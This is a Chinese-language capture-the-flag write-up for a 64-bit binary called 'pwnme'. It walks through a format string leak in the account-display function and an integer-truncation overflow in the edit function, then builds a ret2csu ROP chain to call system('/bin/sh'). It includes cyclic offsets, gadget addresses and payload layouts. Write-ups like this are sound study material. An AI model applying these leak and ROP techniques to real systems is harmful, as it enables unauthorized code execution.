Overview
Safeguard、operation and analysis
1 2 3 4 5 6 7 pic@ubuntu:~/Desktop$ checksec pwnme [*] '/home/pic/Desktop/pwnme' Arch: amd64-64-little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
发现本题开启了RELRO
和NX
,意味着我们不能随便搞got表和直接往栈上写shellcode,我们来分析本题逻辑
1 2 3 4 5 6 7 8 9 10 11 12 pic@ubuntu:~/Desktop$ ./pwnme ********************************************** * * * Have fun!Pwn me * * * ********************************************** Register Account first! Input your username(max lenth:40): 1 Input your password(max lenth:40): 1 Register Success!!
本题首先进行注册之后弹出3个选项
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 1.Sh0w Account Infomation! 2.Ed1t Account Inf0mation! 3.QUit System: >1 1 1 1.Sh0w Account Infomation! 2.Ed1t Account Inf0mation! 3.QUit System: >2 please input new username(max lenth:20): 1 please input new password(max lenth:20): 1 1.Sh0w Account Infomation! 2.Ed1t Account Inf0mation! 3.QUit System: >3 byebyeT.T
我们到ida中进行下一步分析,发现在输出函数即选项1中存在格式化字符串
1 2 3 4 5 int __fastcall sub_400AD1(char format, __int64 a2, __int64 a3, __int64 a4, __int64 a5, __int64 a6, char formata, __int64 a8, __int64 a9) { printf(&formata); return printf(&a9 + 4); }
然后就没有然后了,我并不知道其他漏洞点,在看了大佬的wp后get到了一个新的漏洞方式类型转换不当导致缓冲区溢出 ,在编辑函数即选项2中的修改密码
1 if ( (_BYTE)v12 && (unsigned __int8)v12 <= 0x14u )
看到v12被类型转换,将unsigned int v12
转为_BYTE
,也即最后一个字节小于0x14u即可,之后输入最后字节满足if语句即可,我们找到了溢出点和泄露点,可以开始思考怎么利用了
Thinking
how to exploit vulnerability
我们最后要做的便是执行system("/bin/sh")
,首先找到system地址,根据格式化字符串漏洞,我们利用DynELF把system的地址爆破出来,之后利用缓冲区溢出构造一个rop直接去执行获得shell。行,下面看一下具体过程我们先说rop的构造,毕竟这是这题难点
先找到溢出点,直接用cyclic 整0x100个即256个,
1 2 pic@ubuntu:~/Desktop$ cyclic 256 aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaac
直接贴到程序中,由于大于0x00007fffffffffff,程序正常爆炸,我们直接找到esp的值
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 RAX 0x7fffffffe390 ◂— 0x6161616261616161 ('aaaabaaa') RBX 0x0 RCX 0x603660 ◂— 0x0 RDX 0x10 RDI 0x7fffffffe390 ◂— 0x6161616261616161 ('aaaabaaa') RSI 0x603670 ◂— 0x6161616261616161 ('aaaabaaa') R8 0x1 R9 0x7fffffffe380 ◂— 0x111004010a8 R10 0x603870 ◂— 0x0 R11 0x7fffffffe481 ◂— 'aaclaacmaacnaacoaacpaacqaacraac\n' R12 0x400770 ◂— xor ebp, ebp R13 0x7fffffffe5c0 ◂— 0x1 R14 0x0 R15 0x0 RBP 0x6161616a61616169 ('iaaajaaa') RSP 0x7fffffffe3b8 ◂— 0x6161616c6161616b ('kaaalaaa') RIP 0x400ad0 ◂— ret
直接找到溢出点为40
1 2 pic@ubuntu:~/Desktop$ cyclic -l 0x6161616b 40
之后直接向后写,我们的思路是先利用read在bss端写字符串,然后pop到rdi,直接到system里执行,所以一个完整的rop链是
'A'*40+read(0,bss_addr,8)+pop rdi+bss_addr+system(rdi)
之后就是找可利用的gadget了,根据大佬 的博客发现有两个通用的,还有一个很难找的pop rdi
,但是有pop r15
,利用该网站 看看机器码,该汇编的机器码是
而pop rdi
,差一个字节,所以也有了,这些代码在ida中找到了,直接贴出来
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 .text:0000000000400EB0 mov rdx, r13 .text:0000000000400EB3 mov rsi, r14 .text:0000000000400EB6 mov edi, r15d .text:0000000000400EB9 call qword ptr [r12+rbx*8] .text:0000000000400EBD add rbx, 1 .text:0000000000400EC1 cmp rbx, rbp .text:0000000000400EC4 jnz short loc_400EB0 .text:0000000000400EC6 .text:0000000000400EC6 loc_400EC6: ; CODE XREF: init+36↑j .text:0000000000400EC6 add rsp, 8 .text:0000000000400ECA pop rbx .text:0000000000400ECB pop rbp .text:0000000000400ECC pop r12 .text:0000000000400ECE pop r13 .text:0000000000400ED0 pop r14 .text:0000000000400ED2 pop r15 .text:0000000000400ED4 retn
所以具体的rop链为
1 'A'*40+0000000000400ECA + 0 + 1 + read + 8 + bss_addr + 0 + 0000000000400EB0 + 0 + 0 + 0 + 0 + 0 + 0 + 0 + 0 + 0000000000400ED3 + bss_addr + system
然后后边用A
凑齐,即可起shell,下面补充一下格式化字符串的利用,在用aaaa%n$x
测试时发现在8的时候是字符串起始位置,然后很奇怪,看大佬的wp发现利用输出密码时才能泄露,下面列出该漏洞的伪exp
1 2 'please input new username(max lenth:20): \n' => '%11$sflag' 'please input new password(max lenth:20): \n' => 'aaaa'+p64(address)
通过ida可以发现两个字符串相差16个字节偏移为4,即
1 2 3 4 8 起始位置 9 10 11 存放address
通过这个便可泄露出来addr,很爽。做这题真的花了好久好久,还是太菜了~~~